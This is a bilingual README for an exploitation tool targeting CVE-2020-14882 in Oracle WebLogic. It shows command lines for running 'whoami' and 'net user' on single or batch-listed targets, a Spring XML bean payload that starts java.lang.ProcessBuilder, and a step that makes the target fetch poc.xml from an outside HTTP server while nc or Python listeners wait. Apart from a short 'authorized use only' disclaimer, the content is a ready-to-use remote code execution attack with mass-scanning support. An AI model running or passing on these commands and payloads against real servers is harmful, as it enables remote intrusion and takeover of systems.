
CVE-2020-14882_ALL综合利用工具,支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能。
CVE-2020-14882_ALL comprehensive exploitation tool, supporting command echo detection, batch command echo, external XML command execution without echo, and other features.
Required modules: requests, http.client
** (The tool is only for authorized security testing. Do not use it illegally. The author is not responsible for any misuse.) **
Known working versions for the command echo module: 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"

python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"
target.txt format: http://x.x.x.x:xx, one per line.

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
</list>
</constructor-arg>
</bean>
</beans>
Start a Python listener.

Start nc listener.

-x option to specify the XML file path and send the payload.python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml

